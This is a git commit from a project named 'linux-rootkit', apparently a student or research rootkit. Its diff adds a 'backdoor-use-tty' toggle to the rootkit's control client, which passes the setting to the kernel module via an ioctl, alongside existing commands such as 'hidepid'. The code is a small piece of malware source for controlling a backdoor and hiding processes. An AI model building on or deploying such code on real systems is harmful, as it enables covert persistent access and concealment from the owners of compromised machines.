linux-rootkit

commit fbe2cb88bab55c1b79f0d705b8966b718d938c2d
parent 6d2237b91f812b8249786716f51fa8009333a5f9
Author: deurzen <m.deurzen@tum.de>
Date:   Sat, 28 Nov 2020 12:06:43 +0100

adds togglebd (backdoor-use-tty) command to client

Diffstat:
M
src/rkctl/rkctl.c
 | 
8
+++++++-

1 file changed, 7 insertions(+), 1 deletion(-)
diff --git a/src/rkctl/rkctl.c b/src/rkctl/rkctl.c
@@ -58,7 +58,12 @@ parse_input(int argc, char **argv)
 
     if (ARGVCMP(1, "backdoor-use-tty")) {
         ASSERT_ARGC(2, "backdoor-use-tty <0 | 1>");
-        // TODO: return backdoor-use-tty handle
+
+        if (ARGVCMP(2, "0"))
+            return (cmd_t){ handle_togglebd, (void *)0 };
+
+        if (ARGVCMP(2, "1"))
+            return (cmd_t){ handle_togglebd, (void *)1 };
     }
 
     if (ARGVCMP(1, "hidepid")) {
@@ -110,6 +115,7 @@ handle_shellbd(void *arg)
 int
 handle_togglebd(void *arg)
 {
+    return issue_ioctl(G7_TOGGLEBD, (const char *)arg);
 }
 
 int